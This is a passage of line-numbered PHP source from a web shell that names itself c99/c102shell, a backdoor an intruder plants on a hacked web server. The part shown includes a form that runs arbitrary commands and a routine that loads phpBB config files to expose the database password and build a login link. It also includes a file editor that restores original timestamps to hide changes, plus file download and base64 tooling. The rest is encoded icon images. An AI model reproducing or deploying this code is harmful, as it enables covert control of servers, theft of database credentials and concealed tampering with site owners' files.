2596     for ($i=0; $i<strlen($str); $i++) 
2597     { 
2598      $a1 .= sprintf("%02X",ord($str[$i]))." "; 
2599      switch (ord($str[$i])) 
2600      { 
2601       case 0:  $a2 .= "<font>0</font>"; break; 
2602       case 32: 
2603       case 10: 
2604       case 13: $a2 .= "&nbsp;"; break; 
2605       default: $a2 .= htmlspecialchars($str[$i]); 
2606      } 
2607      $n++; 
2608      if ($n == $hexdump_rows) 
2609      { 
2610       $n = 0; 
2611       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} 
2612       $a1 .= "<br>"; 
2613       $a2 .= "<br>"; 
2614      } 
2615     } 
2616     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} 
2617     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; 
2618    } 
2619    $encoded = ""; 
2620    if ($base64 == 1) 
2621    { 
2622     echo "<b>Base64 Encode</b><br>"; 
2623     $encoded = base64_encode(file_get_contents($d.$f)); 
2624    } 
2625    elseif($base64 == 2) 
2626    { 
2627     echo "<b>Base64 Encode + Chunk</b><br>"; 
2628     $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); 
2629    } 
2630    elseif($base64 == 3) 
2631    { 
2632     echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; 
2633     $encoded = base64_encode(file_get_contents($d.$f)); 
2634     $encoded = substr(preg_replace("!.{1,76}!","'\&#92;&#48;'.\n",$encoded),0,-2); 
2635    } 
2636    elseif($base64 == 4) 
2637    { 
2638     $text = file_get_contents($d.$f); 
2639     $encoded = base64_decode($text); 
2640     echo "<b>Base64 Decode"; 
2641     if (base64_encode($encoded) != $text) {echo " (failed)";} 
2642     echo "</b><br>"; 
2643    } 
2644    if (!empty($encoded)) 
2645    { 
2646     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; 
2647    } 
2648    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> 
2649 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> 
2650 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> 
2651 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> 
2652 <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> 
2653 <P>"; 
2654   } 
2655   elseif ($ft == "html") 
2656   { 
2657    if ($white) {@ob_clean();} 
2658    echo $r; 
2659    if ($white) {c99shexit();} 
2660   } 
2661   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} 
2662   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} 
2663   elseif ($ft == "phpsess") 
2664   { 
2665    echo "<pre>"; 
2666    $v = explode("|",$r); 
2667    echo $v[0]."<br>"; 
2668    var_dump(unserialize($v[1])); 
2669    echo "</pre>"; 
2670   } 
2671   elseif ($ft == "exe") 
2672   { 
2673    $ext = explode(".",$f); 
2674    $c = count($ext)-1; 
2675    $ext = $ext[$c]; 
2676    $ext = strtolower($ext); 
2677    $rft = ""; 
2678    foreach($exeftypes as $k=>$v) 
2679    { 
2680     if (in_array($ext,$v)) {$rft = $k; break;} 
2681    } 
2682    $cmd = str_replace("%f%",$f,$rft); 
2683    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; 
2684   } 
2685   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} 
2686   elseif ($ft == "code") 
2687   { 
2688    if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) 
2689    { 
2690     $arr = explode("\n",$r); 
2691     if (count($arr == 18)) 
2692     { 
2693      include($d.$f); 
2694      echo "<b>phpBB configuration is detected in this file!<br>"; 
2695      if ($dbms == "mysql4") {$dbms = "mysql";} 
2696      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} 
2697      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c102shell. Please, report us for fix.";} 
2698      echo "Parameters for manual connect:<br>"; 
2699      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); 
2700      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} 
2701      echo "</b><hr size=\"1\" noshade>"; 
2702     } 
2703    } 
2704    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; 
2705    if (!empty($white)) {@ob_clean();} 
2706    highlight_file($d.$f); 
2707    if (!empty($white)) {c99shexit();} 
2708    echo "</div>"; 
2709   } 
2710   elseif ($ft == "download") 
2711   { 
2712    @ob_clean(); 
2713    header("Content-type: application/octet-stream"); 
2714    header("Content-length: ".filesize($d.$f)); 
2715    header("Content-disposition: attachment; filename=\"".$f."\";"); 
2716    echo $r; 
2717    exit; 
2718   } 
2719   elseif ($ft == "notepad") 
2720   { 
2721    @ob_clean(); 
2722    header("Content-type: text/plain"); 
2723    header("Content-disposition: attachment; filename=\"".$f.".txt\";"); 
2724    echo($r); 
2725    exit; 
2726   } 
2727   elseif ($ft == "img") 
2728   { 
2729    $inf = getimagesize($d.$f); 
2730    if (!$white) 
2731    { 
2732     if (empty($imgsize)) {$imgsize = 20;} 
2733     $width = $inf[0]/100*$imgsize; 
2734     $height = $inf[1]/100*$imgsize; 
2735     echo "<center><b>Size:</b>&nbsp;"; 
2736     $sizes = array("100","50","20"); 
2737     foreach ($sizes as $v) 
2738     { 
2739      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; 
2740      if ($imgsize != $v ) {echo $v;} 
2741      else {echo "<u>".$v."</u>";} 
2742      echo "</a>&nbsp;&nbsp;&nbsp;"; 
2743     } 
2744     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; 
2745    } 
2746    else 
2747    { 
2748     @ob_clean(); 
2749     $ext = explode($f,"."); 
2750     $ext = $ext[count($ext)-1]; 
2751     header("Content-type: ".$inf["mime"]); 
2752     readfile($d.$f); 
2753     exit; 
2754    } 
2755   } 
2756   elseif ($ft == "edit") 
2757   { 
2758    if (!empty($submit)) 
2759    { 
2760     if ($filestealth) {$stat = stat($d.$f);} 
2761     $fp = fopen($d.$f,"w"); 
2762     if (!$fp) {echo "<b>Can't write to file!</b>";} 
2763     else 
2764     { 
2765      echo "<b>Saved!</b>"; 
2766      fwrite($fp,$edit_text); 
2767      fclose($fp); 
2768      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} 
2769      $r = $edit_text; 
2770     } 
2771    } 
2772    $rows = count(explode("\r\n",$r)); 
2773    if ($rows < 10) {$rows = 10;} 
2774    if ($rows > 30) {$rows = 30;} 
2775    echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; 
2776   } 
2777   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} 
2778   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} 
2779  } 
2780 } 
2781 } 
2782 else 
2783 { 
2784  @ob_clean(); 
2785  $images = array( 
2786 "arrow_ltr"=> 
2787 "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". 
2788 "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", 
2789 "back"=> 
2790 "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". 
2791 "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". 
2792 "Wg0JADs=", 
2793 "buffer"=> 
2794 "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". 
2795 "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". 
2796 "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", 
2797 "change"=> 
2798 "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". 
2799 "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". 
2800 "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". 
2801 "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". 
2802 "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". 
2803 "zMshADs=", 
2804 "delete"=> 
2805 "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". 
2806 "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". 
2807 "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". 
2808 "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". 
2809 "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". 
2810 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2811 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". 
2812 "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". 
2813 "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". 
2814 "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". 
2815 "jwVFHBgiEGQFIgQasYkcSbJQIAA7", 
2816 "download"=> 
2817 "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". 
2818 "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". 
2819 "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", 
2820 "forward"=> 
2821 "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". 
2822 "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". 
2823 "WqsJADs=", 
2824 "home"=> 
2825 "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". 
2826 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". 
2827 "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". 
2828 "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", 
2829 "mode"=> 
2830 "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". 
2831 "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". 
2832 "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". 
2833 "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", 
2834 "refresh"=> 
2835 "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". 
2836 "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". 
2837 "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". 
2838 "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", 
2839 "search"=> 
2840 "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". 
2841 "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". 
2842 "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". 
2843 "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". 
2844 "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", 
2845 "setup"=> 
2846 "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". 
2847 "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". 
2848 "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". 
2849 "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". 
2850 "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", 
2851 "small_dir"=> 
2852 "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". 
2853 "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". 
2854 "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", 
2855 "small_unk"=> 
2856 "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". 
2857 "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". 
2858 "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". 
2859 "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". 
2860 "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". 
2861 "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". 
2862 "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". 
2863 "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". 
2864 "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2865 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2866 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2867 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2868 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2869 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2870 "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". 
2871 "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". 
2872 "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". 
2873 "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". 
2874 "yAsokBkQADs=", 
2875 "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". 
2876 "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", 
2877 "sort_asc"=> 
2878 "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". 
2879 "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", 
2880 "sort_desc"=> 
2881 "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". 
2882 "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", 
2883 "sql_button_drop"=> 
2884 "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". 
2885 "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2886 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". 
2887 "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". 
2888 "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". 
2889 "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". 
2890 "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". 
2891 "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". 
2892 "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". 
2893 "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". 
2894 "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". 
2895 "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". 
2896 "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". 
2897 "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". 
2898 "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". 
2899 "AQEAOw==", 
2900 "sql_button_empty"=> 
2901 "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". 
2902 "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2903 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". 
2904 "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". 
2905 "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". 
2906 "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". 
2907 "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". 
2908 "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". 
2909 "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". 
2910 "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". 
2911 "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". 
2912 "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". 
2913 "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". 
2914 "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". 
2915 "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", 
2916 "sql_button_insert"=> 
2917 "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". 
2918 "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2919 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". 
2920 "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". 
2921 "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". 
2922 "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". 
2923 "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". 
2924 "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". 
2925 "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". 
2926 "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". 
2927 "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". 
2928 "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". 
2929 "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". 
2930 "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". 
2931 "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", 
2932 "up"=> 
2933 "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". 
2934 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". 
2935 "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". 
2936 "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", 
2937 "write"=> 
2938 "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". 
2939 "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". 
2940 "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". 
2941 "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", 
2942 "ext_asp"=> 
2943 "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". 
2944 "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". 
